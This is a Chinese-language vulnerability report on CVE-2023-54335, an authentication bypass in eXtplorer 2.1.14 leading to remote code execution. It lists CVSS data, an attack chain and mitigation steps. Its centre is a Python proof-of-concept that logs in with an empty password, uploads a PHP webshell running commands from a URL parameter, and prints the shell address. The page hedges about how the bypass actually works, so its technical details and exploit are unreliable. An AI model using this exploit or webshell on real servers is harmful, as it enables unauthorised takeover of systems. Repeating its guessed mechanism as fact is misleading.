IPBUF安全漏洞报告
English
CVE-2023-54335 CVSS 9.8 严重

CVE-2023-54335 eXtplorer 2.1.14身份认证绕过导致RCE漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2023-54335
漏洞类型
身份认证绕过/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
eXtplorer

相关标签

身份认证绕过远程代码执行文件上传漏洞eXtplorerCVE-2023-54335Webshell关键漏洞无需认证利用

漏洞概述

CVE-2023-54335是eXtplorer文件管理系统2.1.14版本中的一个严重安全漏洞,CVSS评分高达9.8分,属于关键级别安全缺陷。该漏洞允许未经身份认证的远程攻击者通过操纵登录请求参数,无需提供任何有效密码即可成功登录到eXtplorer管理后台。由于eXtplorer本身是一个功能强大的Web文件管理系统,攻击者在成功绕过认证后,可以直接访问文件管理功能,上传包含恶意代码的PHP文件到服务器。更为严重的是,攻击者可利用服务器执行这些恶意PHP脚本,从而在目标系统上实现远程代码执行(RCE),完全控制受影响服务器。此漏洞无需任何用户交互,攻击复杂度低,且可通过网络直接利用,对使用该版本eXtplorer的组织构成重大安全威胁。建议受影响的用户立即采取修复措施或实施临时缓解方案。

技术细节

eXtplorer 2.1.14的身份认证绕过漏洞主要源于登录验证逻辑的安全缺陷。正常情况下,用户登录时需要提供正确的用户名和密码,系统会验证凭证的有效性。然而,该版本eXtplorer在处理登录请求时存在逻辑漏洞,攻击者可以通过构造特定的请求参数来绕过密码验证。具体来说,当用户提交登录表单时,系统可能仅检查用户名是否存在,而对密码字段的验证不够严格或存在可被绕过的条件。攻击者可以利用这一缺陷,使用任意用户名配合特定的密码参数值(如空字符串、特定符号或特殊构造的值)来通过认证。成功登录后,攻击者获得的是具有完整文件管理权限的会话,可以浏览、上传、下载和修改服务器上的文件。由于eXtplorer支持PHP文件上传,攻击者可上传包含webshell的PHP文件,然后通过HTTP请求触发执行,最终在服务器上实现任意命令的远程执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用的eXtplorer版本,确认版本号为2.1.14或存在相同认证绕过漏洞的版本
STEP 2
步骤2:构造绕过请求
攻击者构造特殊的登录请求,将密码参数留空或设置为特定值,绕过服务器端的密码验证逻辑
STEP 3
步骤3:身份认证绕过
通过发送构造的登录请求,攻击者成功获取eXtplorer的管理员会话,无需提供任何有效密码
STEP 4
步骤4:上传恶意文件
利用获得的文件管理权限,攻击者上传包含webshell代码的恶意PHP文件到服务器目录
STEP 5
步骤5:远程代码执行
攻击者通过HTTP请求访问上传的PHP webshell,传入恶意命令参数,服务器执行命令并返回结果
STEP 6
步骤6:持久化控制
攻击者可在服务器上建立后门、植入更深层的恶意代码、窃取敏感数据或横向移动到内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2023-54335 Authentication Bypass PoC # Target: eXtplorer 2.1.14 # Vulnerability: Authentication bypass via login parameter manipulation import requests import sys def exploit_auth_bypass(target_url, target_username='admin'): """ Exploit the authentication bypass vulnerability in eXtplorer 2.1.14 by manipulating the login request to bypass password verification. """ login_url = f"{target_url.rstrip('/')}/extplorer.php" # Payload to bypass authentication # The vulnerability allows login without valid password login_data = { 'username': target_username, 'password': '', # Empty password or special value 'remember': 'true', 'action': 'login' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Attempting authentication bypass on {login_url}") print(f"[*] Using username: {target_username}") session = requests.Session() response = session.post(login_url, data=login_data, headers=headers, timeout=30) # Check if login was successful if 'extplorer' in response.text.lower() and 'login' not in response.url: print("[+] Authentication bypass successful!") print(f"[+] Session cookie: {session.cookies.get_dict()}") # Now upload malicious PHP file upload_url = f"{target_url.rstrip('/')}/extplorer.php" files = { 'do_action': (None, 'upload'), 'dir': (None, '/'), 'file_0': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } upload_resp = session.post(upload_url, files=files, headers=headers) if upload_resp.status_code == 200: print("[+] PHP webshell uploaded successfully") print(f"[*] Access shell at: {target_url}/extplorer/shell.php?cmd=whoami") return session else: print("[-] Authentication bypass failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url> [username]") print(f"Example: python3 {sys.argv[0]} http://target.com/admin admin") sys.exit(1) target = sys.argv[1] username = sys.argv[2] if len(sys.argv) > 2 else 'admin' exploit_auth_bypass(target, username)

影响范围

eXtplorer <= 2.1.14

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:首先,通过Web服务器配置(如nginx或Apache的location规则)限制对eXtplorer管理接口的外部访问,仅允许来自内网的访问;其次,临时关闭eXtplorer的文件上传功能或将其移到隔离网络环境;再次,部署基于特征的WAF规则检测和阻止异常登录请求参数;最后,加强服务器端监控,及时发现和响应可疑的登录尝试及文件操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表